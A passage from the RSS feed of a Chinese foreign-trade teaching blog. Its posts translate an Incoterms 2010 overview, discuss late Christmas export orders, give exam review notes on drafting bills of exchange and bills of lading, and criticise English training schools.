				<category><![CDATA[外贸课堂]]></category>
		<category><![CDATA[incoterms2010]]></category>
		<category><![CDATA[贸易术语]]></category>

		<guid isPermaLink="false">http://blog.bomoo.com/pin/?p=1458</guid>
		<description><![CDATA[上周，外贸课堂的豆瓣小组里有人问及INCOTERMS 2010版的事情，我才意识到，一晃十年过去，国际商会又该为《国际贸易术语解释通则》改版了。 不在国际贸易行业中的人，可能对INCOTERMS不是很... ]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="alignnone" src="http://i484.photobucket.com/albums/rr207/pin1121/BLOG/1-2.jpg" alt="" width="266" height="450" /></p>
<p>上周，<a href="http://blog.bomoo.com/pin/go.php?http://www.waimaoketang.com/" target="_blank" title="(No click)">外贸课堂</a>的<a href="http://blog.bomoo.com/pin/go.php?http://www.douban.com/group/waimaoketang/" target="_blank" title="(No click)">豆瓣小组</a>里有人<a href="http://blog.bomoo.com/pin/go.php?http://www.douban.com/group/topic/15260352/" target="_blank" title="(No click)">问及INCOTERMS 2010版</a>的事情，我才意识到，一晃十年过去，国际商会又该为《国际贸易术语解释通则》改版了。</p>
<p>不在国际贸易行业中的人，可能对INCOTERMS不是很了解，这里，我想趁即将发布新版Incoterms之际，翻译一组网络上公布的关于INCOTERMS2010的文章，用来说一说它的来龙去脉。有翻译不当之处，请多指教。以下这篇，来自<a href="http://blog.bomoo.com/pin/go.php?http://www.buyusa.gov/pittsburgh/incoterms2010.html" target="_blank" title="(No click)">这里</a>。</p>
<blockquote><p><em>“The Incoterms rules are a perfect example of an efficient standardization of an international business tool. Their day-to-day use in international sales contracts brings legal certainty to business transaction while simplifying the drafting of international contracts.”</em>Incoterms</p>
<p>对国际贸易中普遍使用的贸易术语提供了一套完美、有效的解释标准。在日常的使用中，这一规则为国际买卖合同带来确定的法律性，同时简化了国际合同的起草工作。<em> </em></p>
<p style="text-align: right;">Emmanuel Jolivet<br />
General Counsel of the International Court of Arbitration</p>
<p style="text-align: right;">国际法庭法律总顾问</p>
</blockquote>
<p><strong>What are INCOterms?</strong></p>
<p><strong>什么是INCOterms？</strong></p>
<p>INCOterms, short for “International Commercial Terms,” are international rules that are universally accepted by governments, legal authorities and practitioners for the interpretation of the most commonly used terms in international trade. Their purpose is to reduce or eliminate any discrepancies that might occur in the interpretations of such terms.</p>
<p>INCOterms是International Commercial Terms（国际贸易术语）的简称。在国际贸易中，它是一个被政府、法律部门、从业人员所普遍接受的最常用的术语解释。其目的是减少或消除对这些术语可能产生的任何争议。</p>
<p>INCOterms rules primarily describe the tasks, costs and risks involved in the delivery of goods, with the exception of intangibles, from sellers to buyers.</p>
<p>INCOterms主要描述买方和卖方除无形资产外的责任、成本以及运输货物的风险。</p>
<p><strong>Who is responsible for changes in INCOterms?</strong></p>
<p><strong>谁负责INCOterms的修改？</strong></p>
<p><img class="alignnone" src="http://i484.photobucket.com/albums/rr207/pin1121/BLOG/clip_image001-1.jpg" alt="" width="200" height="98" /></p>
<p>Revisions are conducted by an international drafting committee of eight experts appointed by the International Chamber of Commerce (ICC).</p>
<p>修改是由ICC（国际商会）指定的八名专家所组成的起草委员会指挥完成的。</p>
<p>Throughout the 2.5 year revision process, these international business and legal experts considered more than two thousand recommendations from many of the 130+ countries with which the ICC has a relationship.  As a result, the 2010 version is vastly improved, specifically addressing the needs of users around the world.</p>
<p>与ICC有着合作关系的130多个国家的国际商务和法律专家们，考虑了两千多条建议，历经两年半的修改，最终，使得2010年版获得了极大的改进，明确地满足了世界各地使用者的需要。</p>
<p><strong>What is the significance of INCOterms 2010?</strong></p>
<p><strong>INCOterms 2010的意义</strong></p>
<p>To keep up with the rapid expansion of world trade and globalization, the INCOterms rules are revised about once a decade.</p>
<p>为了跟上快速发展的世界贸易和全球化，INCOterms每隔十年修改一次。</p>
<p>On January 1, 2011 a comprehensive revision of ICC&#8217;s Incoterms rules applying to billions of dollars of business transactions will come into effect, a major step in helping international trade professionals ensure legal certainty and save both time and money.</p>
<p>2011年1月1日，全面修订的国际商会国际贸易术语的规则将正式生效，它将适用于数十亿美元的商业交易，将有助于国际贸易专业人员在法律的确定性和节省时间和金钱方面迈出重要的一步。</p>
<p><strong>What is new about INCOterms 2010?</strong></p>
<p><strong>INCOterms2010有些什么新变化？</strong></p>
<p>Since the last revision in 2000, much has changed in global trade, and the current revision will take into account all of the following issues:</p>
<p>自从上一个2000年版发布以来，全球贸易发生了巨大的变化，目前的版本将考虑以下议题：</p>
<ul>
<li>Post-9/11 cargo      security regulations</li>
<li>911恐怖事件发生后货物的安全条例；</li>
<li>The 2004 revision of      the United States&#8217; Uniform Commercial Code</li>
<li>美国于2004年修订了统一商法典；</li>
<li>New Institute Cargo      Insurance Clauses</li>
<li>新的协会货物保险条款颁布；</li>
<li>Replacement      of paper documents with electronic ones</li>
<li>电子版代替纸质文件；</li>
<li><span style="color: #888888;">Delivery, with      respect to revenue recognition compliance</span></li>
<li><span style="color: #888888;">涉及核实营业收入的交付。（Pin注：这一句有待商榷）</span></li>
</ul>
<p>“Featuring two new rules, the INCOterms 2010 edition will reflect advances in international trade over the last decade, and is an essential tool for trade. Used in both international and domestic contracts for the sale of goods, the rules simplify the drafting of such contracts and help avoid misunderstandings by clearly setting out certain obligations of buyers and sellers,” ICC said.</p>
<p>ICC表示：“两个新的规则的特点在于INCOterms 2010版会反映国际贸易在过去的十年间的发展，而且，它是贸易的一个基本的工具，被广泛运用于国际和国内的销售合同中。它简化了这类合同的起草，减少了买卖双方的误解，清楚地界定了买卖双方的义务。”</p>
<p><strong>Where can I attend an INCOterms 2010 seminar?</strong></p>
<p><strong>在哪里参加INCOterms 2010的研讨会</strong>？</p>
<p>To learn more about the INCOterms 2010 seminar in Pittsburgh on October 28, 2010,please click <a href="http://blog.bomoo.com/pin/go.php?http://www.buyusa.gov/pittsburgh/incoterm.html" title="(No click)">here</a>.</p>
<p>欲了解更多10月28日将于匹兹堡举办的INCOterms 2010研讨会，请点击<a href="http://blog.bomoo.com/pin/go.php?http://www.buyusa.gov/pittsburgh/incoterm.html" target="_blank" title="(No click)">这里</a>。</p>
<p>To find an event in other parts of the U.S., or for additional informaiton about INCOterms 2010 from the ICC website, please click <a href="http://blog.bomoo.com/pin/go.php?http://www.iccbooks.com/Product/ProductInfo.aspx?id=653" target="_blank" title="(No click)">here</a></p>
<p>如想从ICC的网站上了解美国以外地区的或者更多关于INCOterms2010的信息，请点击<a href="http://blog.bomoo.com/pin/go.php?http://www.iccbooks.com/Product/ProductInfo.aspx?id=653" target="_blank" title="(No click)">这里</a>。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bomoo.com/pin/archives/1458/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>垃圾单</title>
		<link>http://blog.bomoo.com/pin/archives/1066</link>
		<comments>http://blog.bomoo.com/pin/archives/1066#comments</comments>
		<pubDate>Fri, 11 Dec 2009 14:57:00 +0000</pubDate>
		<dc:creator>Pin</dc:creator>
				<category><![CDATA[外贸课堂]]></category>
		<category><![CDATA[外贸]]></category>
		<category><![CDATA[金融危机]]></category>

		<guid isPermaLink="false">http://blog.bomoo.com/pin/?p=1066</guid>
		<description><![CDATA[（新华社 李荣新 摄) Ring前不久说要在香港注册贸易公司，与我商量，问我意见。 我连说三声NO,NO,NO! 她在深圳这么些年，打工所在的公司主营的是电子类产品，订单几乎全部靠阿里巴巴商务平... ]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img id="current" class="aligncenter" title="圣诞订单" src="http://i484.photobucket.com/albums/rr207/pin1121/1051907329DB29D5D8C345EA5DD1200A_50.jpg" alt="" /></p>
<p style="text-align: center;"><strong>（新华社 李荣新 摄)</strong></p>
<p>Ring前不久说要在香港注册贸易公司，与我商量，问我意见。</p>
<p>我连说三声NO,NO,NO!</p>
<p>她在深圳这么些年，打工所在的公司主营的是电子类产品，订单几乎全部靠阿里巴巴商务平台，在金融危机的冲击下，她的薪水从底薪加提成演变成只有底薪没有提成……公司生意之清淡可窥一斑，为何还要在此时自立门户？</p>
<p>她连忙说生意清淡不代表没有生意，阿里巴巴平台的投资也不是大数目，电脑、传真机和两个人即可在蜗居内组成临时的外贸公司，等有了订单，利润就悉数归自己所有，总比在公司要死不活的拿底薪强！</p>
<p>我问她可有考虑目前的外贸形势？</p>
<p>她说根据她的观察，外贸形势已经好转，中国经济正在回暖，相信明年一开年，就有个开门红等着她。</p>
<p>我在电脑这头已经是无语，脑袋快要摇掉。</p>
<p>中国经济率先回暖，外贸仍然增长强劲——这估计也是很多普通人的看法。这看法的来源也不难去找，随便在google或百度上搜索“外贸”这一关键字，出来的新闻都是“虽然……但是……”句型，大意就是虽然也遇到经济危机所带来的寒流，但是总的趋势是V型云云。</p>
<p>其实很多消息都是外行人的误导，譬如最近外贸的热门词汇“圣诞订单”。</p>
<p>按照常规，现在已经进入了今年外贸订单的尾声，但是就在这个十二月初，却频频传来外贸订单突增的“喜讯”。</p>
<p>12月3日，我看到新华社发布了如下新闻：</p>
<blockquote><p>（12月3日）山东省滨州市滨城区华鸿玩具厂的工作人员整理将要出口到南美地区的圣诞老人玩具。随着圣诞节临近，中国生产的圣诞玩具吸引了海外客商的大批订单，国内玩具加工企业加紧生产。</p></blockquote>
<p>普通人看到这样的描述，会觉得贸易仍然欣欣向荣，甚至连玩具这种受金融危机冲击最大的劳动密集型产业，都能如此繁忙火爆，明显是回暖迹象啊！</p>
<p>但是，做过外贸的人会觉得这条消息简直可怕。</p>
<p>一般所谓的圣诞订单，都是在三四月开始出数量，五六月份生产，七八月份赶货，九十月份是装运高峰期，十一、二月已经是与客户谈下一年的订单了。</p>
<p>哪里有到了12月3日还在整理要出口的订单的？！算上租船订舱报检报关的时间，这单说不准还是“飞机货”（即要走昂贵的空运），因为海运最少也要一个月，到了海那头，圣诞节都过了几天了！哪里还来得及售卖？</p>
<p>12月份才出货的单，只有一种可能，那就是追加的“垃圾单”，所谓垃圾单，就是订单小、订单散、价格特别便宜、时间特别赶（恨不得赔本去帮客户空运）的“圣诞订单”。</p>
<p>所以，我亲爱的Ring童鞋，你真的从这些垃圾单中感受到我们伟大祖国的复苏之势了吗？</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bomoo.com/pin/archives/1066/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>外销员商务英语总复习</title>
		<link>http://blog.bomoo.com/pin/archives/768</link>
		<comments>http://blog.bomoo.com/pin/archives/768#comments</comments>
		<pubDate>Tue, 11 Aug 2009 03:56:05 +0000</pubDate>
		<dc:creator>Pin</dc:creator>
				<category><![CDATA[外贸课堂]]></category>
		<category><![CDATA[外销员]]></category>

		<guid isPermaLink="false">http://blog.bomoo.com/pin/?p=768</guid>
		<description><![CDATA[去年的外销班学生，是我遇到的“最难缠”的一批学员，上课时拒绝哪怕是一丁点儿的额外知识，成天嚷嚷着：“请你只讲考试内容，别的我们没必要听。因为我们来此的目的，仅为拿证。”... ]]></description>
			<content:encoded><![CDATA[<blockquote>
<p style="text-align: left;">去年的外销班学生，是我遇到的“最难缠”的一批学员，上课时拒绝哪怕是一丁点儿的额外知识，成天嚷嚷着：“请你只讲考试内容，别的我们没必要听。因为我们来此的目的，仅为拿证。”听得我好心寒。也正因为他们屡屡提出应试，于是我在最后一堂课上，做了如下应试总结，希望也对今年参加下个月12、13日外销员考试的考生，有点帮助。至少，在培训完后，全班的英语，几乎是全部通过了。（pin）</p>
</blockquote>
<p align="center"><strong>外销商务英语总复习</strong><strong></strong></p>
<p style="text-align: right;">2008-11-02</p>
<p style="text-align: right;"><span id="more-768"></span></p>
<p align="center"><strong><span style="text-decoration: underline;">考题分析</span></strong><strong></strong></p>
<p align="center"><strong><span style="text-decoration: underline;"> </span></strong></p>
<p>一、          经贸术语和常用词语，10分；（10%）</p>
<p>二、          单选，20~25分（20%~25%）</p>
<p><strong>三、         </strong>商务信函汉译英，20分（20%）<strong></strong></p>
<p>阅卷标准：<strong></strong></p>
<p>3.1格式错误：贸易双方名称、日期、位置、称呼、落款格式占5分，每项1分；</p>
<p><strong><span style="text-decoration: underline;">Full block</span></strong>\Indented Style\Modified Style</p>
<p><strong>齐头式</strong>、缩进式、混合式。</p>
<p>3.2语法错误：不成句子不得分、语态、从句方面错误扣分值的50%、时态、大小写、拼写、标点符号、单复数等错误扣0.5分。同一错误不重复扣分；</p>
<p>Step1. Draft your letter           起草信函</p>
<p>Step2. Check the meaning         查看是否有理解错误或者漏掉一些重要内容</p>
<p>Step3. Check the error            检查时态、语态、人称、单复数、拼写、大小写、标点等</p>
<p>Step4. Writing                  书写时注意单词写得清晰明白</p>
<p>3.3信函翻译：</p>
<p>10封信函的归纳版为：</p>
<p>信函一：Build Up The Relationship  建立联系</p>
<p>信函二：Inquiry &amp; Quotation       询价&amp;报价</p>
<p>信函三：Payment                 支付方式</p>
<p>信函四：Shipping &amp; Insurance Notice运输保险通知函 </p>
<p>信函五：After services             售后服务</p>
<p>*投诉 Complaining</p>
<p>*处理 Solution</p>
<p>信函六：Agent                   代理</p>
<p> </p>
<p>这几年考试的内容几乎没有超出过这归纳出来的六种类型信函，如果要加大难度，也不过是几种信函的内容混合。比如：建立联系的时候报价、报价的同时确定支付方式等等。再去掉信头和信尾固定了的那几种写法，得到95%以上的分数应该不难。</p>
<p><strong> </strong></p>
<p>四、          填制合同，20分（占20%）</p>
<p>Review the Contract English</p>
<p>五、          审证和改证，15分（占15%）</p>
<p>六、          经贸短文英汉互译，占15~20分（15%~20%）</p>
<p>*做过20篇练习的同学，温习所翻译出错的地方，总结巩固；</p>
<p>*口语教材双数翻译参考答案已经全部发往各位学员的邮箱，可以对照自己所译核对；</p>
<p><strong>*</strong><strong>明天请查阅邮箱或外贸课堂网站外销员历年真题栏目，有一些经典句型可供参考。作为提高。</strong><strong></strong></p>
<p>七、          口语考试：</p>
<p align="left">考生提前10分钟抽取试题，抽取试题后到备考室准备，不得与其他考生交谈，处于隔离状态； 在老师指引下，进入考场答题，严格4&#8211;6分钟的答题时间，不得耽误与拖延；考官与一个考生一对一面试，答题时间4&#8211;6分钟。</p>
<p align="left">Part One：阅读短文，回答问题：</p>
<p align="left">Hot Topics:</p>
<p align="left">1. U.S Presidential Election 美国总统大选</p>
<p align="left">2. Beijing Olympic Game 北京奥林匹克</p>
<p align="left">3. Financial Crisis金融危机</p>
<p align="left">General Topics:</p>
<p align="left">4.Pollution &amp; Environment Protection 污染与环境保护</p>
<p align="left">5. Population &amp; One Child Policy 人口与计划生育</p>
<p align="left">Part Two&amp;Three:</p>
<p align="left">汉译英和英译汉</p>
<p align="left">Part Four:Fee Talk.</p>
<p> </p>
<p> </p>
<p align="center"><strong><span style="text-decoration: underline;">答疑解惑</span></strong><strong></strong></p>
<p> </p>
<p><strong>一、             </strong><strong>考题中涉及到的商务英语操作题：</strong></p>
<p align="center"><strong>1.       </strong><strong>商业汇票：</strong></p>
<p>操作题（4分） 2004年5月中旬，我国北京A公司与南非B公司签订一份价值86000美元的出口合同。B公司通过南非SCOTTIA BANK于2004年6月10日开立了以A公司为受益人、编号为L50514的不可撤销跟单信用证。来证中汇票条款规定：受益人按发票金额开立以开证行为付款人、见票后60天付款的汇票。2004年6月30日A公司将86000美元货物装运完毕，7月5日向中国银行办理交单议付。请按上述内容缮制商业汇票一份</p>
<p> </p>
<p>号码 No. A2002       汇票金额 <strong><span style="text-decoration: underline;">86,000USD </span></strong>           中国北京<strong><span style="text-decoration: underline;">2004</span></strong><strong><span style="text-decoration: underline;">年6</span></strong><strong><span style="text-decoration: underline;">月29</span></strong><strong><span style="text-decoration: underline;">日</span></strong></p>
<p>（6月30日装运期之前均可）</p>
<p> </p>
<p>Exchange for (1) Beijing China  At (2) 见票  日后（本汇票之副本未付） (3)  sight of this FIRST OF exchange(Second Exchange of the same tenor unpaid) pay to the order of (4) 金额 the sum of (5) 出票条款 Drawn under (6) 此致 To (7)</p>
<p> </p>
<p>                                                                                                                                                                                                                                          (8) </p>
<p> </p>
<p>（1）       汇票金额：Exchange for 后跟小写金额，用货币符号及阿拉伯数字表示</p>
<p><strong><span style="text-decoration: underline;">即：USD86</span></strong><strong><span style="text-decoration: underline;">，000.00  </span></strong><strong><span style="text-decoration: underline;">或：US$86,000.00</span></strong></p>
<p>后面跟着的Beijing China指的是出票地点。（一般为出口商所在地）</p>
<p> </p>
<p>（2）       付款期限：分即期、远期、定期三种。At_______sight of this FIRST OF exchange(Second Exchange of the same tenor unpaid副本尚未兑付)</p>
<p>附加解释——出口贸易使用的汇票一般都有两正本(FIRST OF EXCHAGE,SECOND OF EXCHANGE)效力同等,但付款人付一不付二,付二不付一.先到先付,后到无效&#8230;所以在汇票的FIRST 种要注明”SECOND EXCHANGE BEING UNPAID ” SECOND 中要注明”FIRST EXCHANGE BEING UNPAID”用途:将两个正本分两个邮次邮向国外,以防在一个邮次丢失。（资料来源：网络资源）</p>
<p>该题是远期，见票后60天付款的汇票，<strong><span style="text-decoration: underline;">即：</span></strong><strong><span style="text-decoration: underline;">60 days</span></strong></p>
<p>（3）       <strong><span style="text-decoration: underline;">即：</span></strong><strong><span style="text-decoration: underline;">after</span></strong><span style="text-decoration: underline;"> </span></p>
<p>（4）       受款人：又称收款人，也称汇票抬头人。按照国际惯例，LCh或者D/A D/P(托收)项下的汇票一般作成指示性抬头，汇票上写明“付给XXX的指定人。则是该题汇票中的“pay to the order of XXX”。XXX则是汇票的记名受款人，通过它的背书，汇票可以转让。这个是目前出口业务中运用最广泛的类型。信用证项下的汇票受款人，如果没有特殊规定，应为议付行。若是托收项下，则是托收行（出口地银行）。</p>
<p>该题中很明显是信用证付款，议付行是中国银行，<strong><span style="text-decoration: underline;">即：</span></strong><strong><span style="text-decoration: underline;">Bank of China</span></strong></p>
<p>（5）       总金额（大写）：the sum of</p>
<p>该题中显示总金额为86000美金，注意大写格式。<strong><span style="text-decoration: underline;">即：</span></strong><strong><span style="text-decoration: underline;">U.S DOLLARS EIGHTY SIX THOUSAND ONLY</span></strong></p>
<p>（6）       出票条款：即出票根据，信用证汇票必须出票条款。说明该汇票与某银行某日期某号信用证的关系。包括三个内容：开证行完整名称、信用证号和开证日期（记住是开证日期而非汇票的日期，汇票日期在它右上角）Drawn under。</p>
<p>注意格式，<strong><span style="text-decoration: underline;">即</span></strong><span style="text-decoration: underline;">：</span><strong><span style="text-decoration: underline;">Scottia Bank</span></strong><strong><span style="text-decoration: underline;">，South Africa Irrevocable L/C No. L50514 Date Jun.10, 2004</span></strong></p>
<p>（7）       付款人：又称受票人，一般位于右下角，即TO,信用证项下一般填开证行（根据《UCP600》，LC不应开立以申请人为付款人的汇票，如开立了该汇票也仅视为一种附加单据，而不能作为金融单据。）托收项下填（？的）完整的地址。该题介绍说：“受益人按发票金额开立以开证行为付款人……”更为明确了。</p>
<p><strong>即：<span style="text-decoration: underline;">Scottia Bank</span></strong><strong><span style="text-decoration: underline;">，South Africa</span></strong></p>
<p>（8）       出票人：汇票必须有出票人的签字一般位于汇票的右下角，通常为出口人或信用证的受益人。应具企业全称和负责人签字盖章。</p>
<p> </p>
<p>八、          操作题我国申连贸易公司按CIF悉尼条件向澳大利亚布朗公司出口货号为T101的玉华牌牙膏100箱，纸箱装。该批货物于2002年12月15日在天津港装上“拖河”轮（航次V915）运往澳大利亚悉尼港。布朗公司要求提交“全套已装船清洁空白抬头正本提单”并通知布朗公司（地址：邮政信箱A303，电话0061-3-9771345，传真0061-3-9771348）。下面是申连贸易公司业务员填制的一份提单的部分内容，请直接在原提单相应位置（右边）分别填制内容有误部分、空白部分进行修改或补充（本题中应修改或补充的点为6个）</p>
<p><strong> </strong></p>
<p><strong>2.  </strong><strong>提单（港到港式联运） </strong></p>
<p> </p>
<p>①shipper托运人：上海申连公司　　　　　　                         　　　　　　　　　　　</p>
<p><strong>②</strong>consignee收货人：澳大利亚布朗公司　应该改为： TO THE ORDER(即空白抬头) 　　                         　　　　　　　　　　　</p>
<p>邮政信箱A303 电话0061-3-9771345 传真0061-3-9771348</p>
<p>③Notify通知：　同上（即澳大利亚布朗公司）　　　　　                          　　　　　　　　　　　</p>
<p>④ocean vessel No.船名航次：“拖河”轮V915　　　　                   　　　　　　　　　　</p>
<p>⑤Port of Loading装运港：天津　　　　　　　　　　                   　　　　　　　　　　　</p>
<p>⑥Port of Discharge目的港：悉尼　　　　　　　　　                   　　　　　　　　　　</p>
<p><strong>⑦</strong>Marks &amp; Nos.唛头：布朗公司　   　C/N　箱数　1-100 天津   <strong>（未说明，即N/M</strong><strong>）   </strong>   </p>
<p>⑧No. of Packages件数：100箱　　　　　　　　　　                 　　　　　　　　　　</p>
<p><strong>⑨</strong>Description of Goods货物的描述：T101　<strong>玉华牌牙膏　</strong> 　　　                 　　　　　　　　　　　</p>
<p><strong>⑩</strong>Freight运费<strong>　预付 Prepaid</strong>　　　　　　　　 　                      　　　　　　　　　　　</p>
<p><strong>⑾</strong>No. of Original B/L(s)正本提单份数　<strong>3</strong><strong>　</strong><strong>　</strong>　　　　                  　　　　　　　　　　　</p>
<p><strong>⑿</strong>Place and Date of Issue签发时间和地点　　<strong>2002年12月15日 天津港　</strong>　　</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bomoo.com/pin/archives/768/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>闲话培训（3）：培训机构，骗？</title>
		<link>http://blog.bomoo.com/pin/archives/745</link>
		<comments>http://blog.bomoo.com/pin/archives/745#comments</comments>
		<pubDate>Sun, 19 Jul 2009 15:31:25 +0000</pubDate>
		<dc:creator>Pin</dc:creator>
				<category><![CDATA[外贸课堂]]></category>

		<guid isPermaLink="false">http://blog.bomoo.com/pin/?p=745</guid>
		<description><![CDATA[这个系列的（3）隔了两年才写 [   之前有（1）、 （2） ] ，也真够懒惰的。不是说期间没有体会，而是体会太多反而不知从哪里说起。 首先，告诉大家一个辨别培训机构的秘诀，那就是在百... ]]></description>
			<content:encoded><![CDATA[<p>这个系列的（3）隔了两年才写 [   之前有<a href="http://blog.bomoo.com/pin/go.php?http://blog.bomoo.com/pin/archives/321" target="_blank" title="(No click)">（1）</a>、 <a href="http://blog.bomoo.com/pin/go.php?http://blog.bomoo.com/pin/archives/324" target="_blank" title="(No click)">（2）</a> ] ，也真够懒惰的。不是说期间没有体会，而是体会太多反而不知从哪里说起。</p>
<p>首先，告诉大家一个辨别培训机构的秘诀，那就是在百度或者GOOGLE中输入：XX培训机构全称，然后空格后写上一个“骗”字。如果你看到一堆负面新闻，那么，请小心这家机构。</p>
<p>但可惜的是，现在一些财大气粗的机构可以买通百度，销毁证据，譬如武汉新动态英语。你可以试着照上面的方式去搜，估计得不到预计的效果。</p>
<p>当时看到某个揭发武汉新动态英语的帖子时，稍微留意了下，其中有个自称新动态高层管理人员的人留了言，我觉得写得坦诚，于是保存了下。日后，该贴果然被删除得无影无踪，所以我反而留得一点证据如下：</p>
<blockquote><p>        我来说说，我是新动态的高层员工，我还是很有资格发言的。</p>
<p>　　那么先说第一点：</p>
<p>　　新动态的老总，从他的管理经验来看，他完全不懂教育，完全是一个商人，注重收益，教育是一个讲奉献的事业，没有奉献精神，想把教育做好，就是天方夜谭。</p>
<p>　　第二点：</p>
<p>　　新动态其实质就是一个融资公司，拿一些投资人的钱，去投资，他们不是办学，而是收购学校，专门收购那些想转手出让的学校。这些学校不是濒临倒闭就是遇到一些困难想转让，比如他们收购上海的昂立国际英语，基本上可以说这样的学校名存实亡。</p>
<p>　　第三点：</p>
<p>　　他们的管理层，所谓的管理层，可以说，第一，没经验，没能力。第二，没教养，说话不会说。第三，高姿态，感觉自己高人一等。第四，很会推脱责任，出了问题全是你的责任，压的员工跟他们狗似的，所以lz要谅解他们，因为他们也是被逼无奈，生活所迫。我是不会这样对待员工的，在他们这里我也是骗点工资而已。</p>
<p>　　第四点：</p>
<p>　　他们所谓的先进管理理念，在我看来就是管理中的绊脚石，多此一举的东西，你没有给够那么多薪水，想达到人家那种效果，是不可能的。内部的所谓mis，spps，都是抄袭，抄的也是一塌糊涂。可以说基本上是拼凑来的东西。</p>
<p>　　第五点：</p>
<p>　　对学员的态度，就是收了钱就得按照他们的方法去办，一点余地都没有。在南京收购的时候，原来的校长把原学校的订课流程告诉他们，他们只是回答两句，第一句，这样教学的费用不好控制。第二句，你们对学员太人性化了。</p>
<p>　　其实我还想说很多，这样的学校迟早要出问题，对于他们的管理层水平，实在不敢恭维，他们一门心思是赚钱，而不是教学，所以大家在选择英语学校的时候还请慎重，如果是为了应试，我建议选择新东方这样的学校去学习，他们的经验相对于这些语言学校可以说是相当丰富的，如果只是练口语，其实上facebook找个朋友就可以达到目的，如果真的是为了去感受环境，那么我建议你选择韦博，因为韦博相对于新动态这样的学校来说，不论是在教学，管理方面都要比新动态的出发点要善良许多，虽然消费高点，但相对还是物有所值的。</p>
<p>　　最后再说一下，不是我仇视这个学校，但我做教育那么多年，从来没见过这样管理理念，从我的角度看，他们这样的行为就是自杀。好了，大家仔细斟酌吧。</p></blockquote>
<p>如果说如新动态这种骗法还属于比较“高级”的话，稍后让我来揭露一些万分低级却十分“有效”的忽悠学生的方式。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.bomoo.com/pin/archives/745/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>国际商务单证员考试答疑（操作篇：中）</title>
		<link>http://blog.bomoo.com/pin/archives/693</link>
		<comments>http://blog.bomoo.com/pin/archives/693#comments</comments>
		<pubDate>Tue, 26 May 2009 13:17:18 +0000</pubDate>
		<dc:creator>Pin</dc:creator>
				<category><![CDATA[外贸课堂]]></category>
		<category><![CDATA[单证员]]></category>

		<guid isPermaLink="false">http://blog.bomoo.com/pin/?p=693</guid>
		<description><![CDATA[距离09年单证员考试尚有三周，这个答疑系列的“中”，我想特别强调一下提单。因为教材中所提供的提单练习题，不具备典型特征，容易造成误导。 另外，令我觉得有点好玩的是，当我在课... ]]></description>
			<content:encoded><![CDATA[<blockquote><p>距离09年单证员考试尚有三周，这个答疑系列的“中”，我想特别强调一下提单。因为教材中所提供的提单练习题，不具备典型特征，容易造成误导。</p>
<p>另外，令我觉得有点好玩的是，当我在课上讲到提单一般都是一式几联的，居然有学生不清楚什么是“一式几联”的“联”是什么意思。还有人将信用证中提到的a copy of bill of loading 理解成提单的副本（事实上是“一份提单”的意思。）</p>
<p>我想说的是，学习一定要细心，尤其在一些不清晰的概念上，千万不要不懂装懂，以免闹大笑话。(EVA)</p></blockquote>
<p><strong>提单填制注意要点</strong></p>
<p><strong>1.启运港和目的港的英文描述</strong></p>
<p>PORT OF LOADING<br />
PORT OF DISCHARGE (DESTINATION)</p>
<p>FINAL DESTINATION 这一栏为最终目的地——非目的港，要与上面所列的条目相区别。</p>
<p><strong>2. CONTAINER SEAL NO. OR MARKS AND NOS</strong></p>
<p>只填封箱号或者唛头两者之一，针对考题，前者在补充资料里面查找，唛头在S/C 或L/C里查找。</p>
<p><strong>3. NUMBER AND KIND OF PACKAGES DESCRIPTION OF GOODS</strong></p>
<p><strong>3.1</strong> NUMBER AND KIND OF PACKAGES 填制方法和托单、报关单一样。装于集装箱内的大包装（非箱内的小包装数）为防止篡改数字，可用大写描述数量，通常使用以下描述：</p>
<p><strong>表示法1：</strong></p>
<p>XXXCTNS<br />
CONTAINER SAID TO CONTAIN XXX CARTONS(CTNS)</p>
<p><strong>表示法2：</strong></p>
<p>XXXCTNS<br />
SAY XXX CARTONS ONLY</p>
<p><strong>3.2</strong> 如有不止一项货品，列出后，下面要注明TOTAL。</p>
<p><strong>3.3</strong> 数字的表示比较自由，没有诸如小数点后XX位的要求。</p>
<p>注意不要忽略了“DESCRIPTION OF GOODS”<br />
如L/C中有明细，需要保持一致；如L/C中只有统称，填写统称。</p>
<p>另外，根据《UCP600》的第十四条审核单据的标准（Article 14 Standard for Examination of Documents)d项与e的说明，提单中完全可以使用不与信用证相冲突的统称：</p>
<blockquote><p>d.单据中内容的描述不必与信用证、信用证对该项单据的描述以及国际标准银行实务完全一致，但不得与该单据中的内容、其他规定的单据或信用证相冲突。</p>
<p>e.除商业发票外，其他单据中的货物、服务或行为描述若须规定，可使用统称，但不得与信用证规定的描述相矛盾。</p></blockquote>
<p><strong>考试中：</strong>外可加注补充资料或S/C中的明细，不为错误。<br />
<strong>现实中：</strong>若补述货品明细，审单时不做审核。</p>
<p>总的来说，宜多不宜少，宁愿重复某些内容，也不要落下什么。除非是制单非常有经验的人员，一般我们都主张照抄信用证上对“货品描述”（description of goods）所规定的内容。</p>
<p><strong>应试技巧：</strong></p>
<p>记熟《08》版P410《国际商务单证专业培训考试大纲及复习指南》06真题操作试卷 提单的参考答案描述方法和格式。<br />
<strong>XXXCTNS   DESCRIPTION OF GOODS<br />
SAY XXX CARTONS ONLY 20/40’ x XX</strong></p>
<p>实际运用：提单的格式根据各个货运公司的不同而略有不同，实际工作中，单证员仅根据一个标准B/L模板（或者以托运单为准），列明对提单的要求，发给货运代理即可，货运代理将会根据与单证员核对过的样单来签出提单。<br />
<strong>4. FREIGHT AND CHARGE 运费</strong><br />
注明运费的支付方式：预付或者到付 FREIGHT PREPAID OR FREIGHT COLLECT(非填写运费具体费用)</p>
<p><strong><span style="color: #ff0000;">教材纠错：</span></strong><br />
<span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;; mso-fareast-font-family: 宋体; mso-font-kerning: 1.0pt; mso-ansi-language: EN-US; mso-fareast-language: ZH-CN; mso-bidi-language: AR-SA;" lang="EN-US"><strong>（1）</strong></span>P306 SHIPPER 需同L/C而非S/C<br />
<strong>（2）</strong>P270 CONSIGNEE OR ORDER 根据L/C应该是TO ORDER OF APPLICANT</p>
